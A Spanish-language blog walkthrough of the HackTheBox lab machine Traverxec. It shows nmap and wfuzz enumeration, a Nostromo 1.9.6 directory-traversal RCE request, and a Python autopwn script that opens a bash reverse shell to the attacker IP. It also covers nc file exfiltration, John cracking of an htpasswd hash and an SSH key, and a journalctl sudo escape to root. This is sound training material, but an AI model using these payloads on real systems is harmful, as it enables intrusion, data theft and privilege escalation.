lund@home:~$

Autor: Lund K. S.

HTB_Traverxec HTB_Traverxec | Hacker-Blog

HTB_Traverxec

Traverxec {-}

Introduccion {-}

La maquina del dia 23/07/2021 se llama Traverxec.

El replay del live se puede ver en Twitch: S4vitaar Traverxec maquina

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.165

ttl: 63 -> maquina linux. Recuerda que en cuanto a ttl 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.165

Va un poquito lento…

nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.10.165 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.165 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh conneccion a la maquina Usuario contraseña
80 http whatweb, http-enum Checkear la web

Empezamos por el puerto 80 {-}

Whatweb {-}

whatweb http://10.10.10.165
  • nostromo 1.9.6

Chequear la cabecera {-}

curl -s -X GET -I http://10.10.10.165
  • nostromo 1.9.6

Browsear la web {-}

Nada interessante.

WFuzz {-}

Como no hay mucho mas que ver, aplicaremos fuzzing para descubrir si hay mas rutas.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.233/FUZZ

No hay nada, creamos un fichero de extensiones txt, php, html y fuzzeamos otravez.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensions http://10.10.10.233/FUZZ.FUZ2Z

No hay nada.

Evaluacion de Vulnerabilidades {-}

searchsploit {-}

Chequeamos si existe un exploit relacionado con nostromo 1.9.6

searchsploit nostromo 

Hay un script en Python que permitiria hacer ejecucion de comandos. Nos traemos el script en el repertorio de trabajo.

searchsploit -m 47837
mv 47837.py nostromo_exploit.py

Analizando el script con cat, vemos como se uza el exploit. Intentamos reproducir los pasos antes de crearnos nuestro proprio script.

  1. En una terminal

     nc -nlvp 443
    
  2. En otra terminal

     telnet 10.10.10.165 80
     POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
     Content-Length: 1
    
     whoami | nc 10.10.14.20 443
    

Se ve www-data en la primera terminal.

Ya podemos crearnos el script.

Explotacion de vulnerabilidad & Ganando Acceso {-}

Autopwn.py {-}

#!/usr/bin/python3

import requests
import sys
import signal
import pdb
import threading
import time

from pwn import *

def def_handler(sig, frame):
    print("\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
main_url = "http://10.10.10.165/.%0d./.%0d./.%0d./.%0d./bin/sh"
lport = 443

def makeRequest():

    data_post = {
        b'bash -c "bash -i >& /dev/tcp/10.10.14.20/443 0>&1"'
    }

    r = requests.post(main_url, data=data_post)

if __name__ == '__main__':

    try:
        threading.Thread(target=makeRequest, args=()).start()
    except Exception as e:
        log.error(str(e))

    p1 = log.progress("Acceso")
    p1.status("Ganando acceso al sistema")

    shell = listen(lport, timeout=5).wait_for_connection()

    if shell.sock is None:
        p1.failure("No ha sido posible ganar acceso al sistema")
        sys.exit(1)
    else:
        shell.interactive()

Lo ejecutamos

python autopwn.py
whoami
#Output
www-data

ifconfig

El tito prefiere entablarse una shell normal. Se pone en escucha con nc -nlvp 443 y lanza en la shell creado por el script bash -i >& /dev/tcp/10.10.14.20/443 0>&1

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <numero filas> columns <numero columnas>

Escalada de privilegios {-}

Enumeracion del usuario en la maquina victima {-}

cd /home
#Output
david

ls /home/david
#Output
Permisson denied

ls -l /home
#Output
drwx--x--x

Enumeramos el systema

cd /
id
sudo -l
find \-perm -4000 2>/dev/null
cd /var
ls
cd nostromo
cd conf
cat nhttpd.conf
cat /var/nostromo/conf/.htpasswd

Encontramos el hash del usuario david vamos a copiarlo en la maquina de atacante, y intentamos bruteforcear con John

John {-}

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Encontramos una contraseña intentamos ponerla haciendo un su david y su root, pero no va. La conclusion a la que hay que llegar es que cuando miras el fichero nhttpd.conf, dice que hay un directorio public_www.

Investigacion del public_www {-}

Intentamos ver si esta en el directorio /home/david/public_www y efectivamente. hay un fichero comprimido y nos vamos a transferir a nuestro equipo de atacante.

  1. En el equipo de atacante

     nc -nlvp 443 > comprimido.tgz
    
  2. En el equipo victima

     nc 10.10.14.20 443 < backup-ssh-identity-files.tgz
    

Descomprimimos el archivo con el comando

7z l comprimido.tgz
7z x comprimido.tgz
7z l comprimido.tar
7z x comprimido.tar 

Hay la clave privado del usuario david pero esta protegida por contraseña. La tenemos que romper.

ssh2john {-}

ssh2john.py id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

La contraseña de la id_rsa a sido crackeada y ya nos podemos conectar con ssh

ssh -i id_rsa david@10.10.10.165 

Escalada de privilegio para root {-}

ls -l
#Output
bin

cd bin/
cat server-stats.sh

Vemos en este fichero que sudo puede ejecutar journalctl

Vamos a la pagina de gtfobins y buscamos por jounalctl

El gtfobins dice que hay que lanzar jounalctl con sudo y en otra linea poner !/bin/sh

[!] NOTA: cuando pone ! en otra linea quiere decir que hay que ejecutarlo en modo less. O sea hay que reducir la terminal para que se pueda introducir un nuevo commando. En este caso !/bin/sh

Ya estamos root y seguimos mas hack que nunca.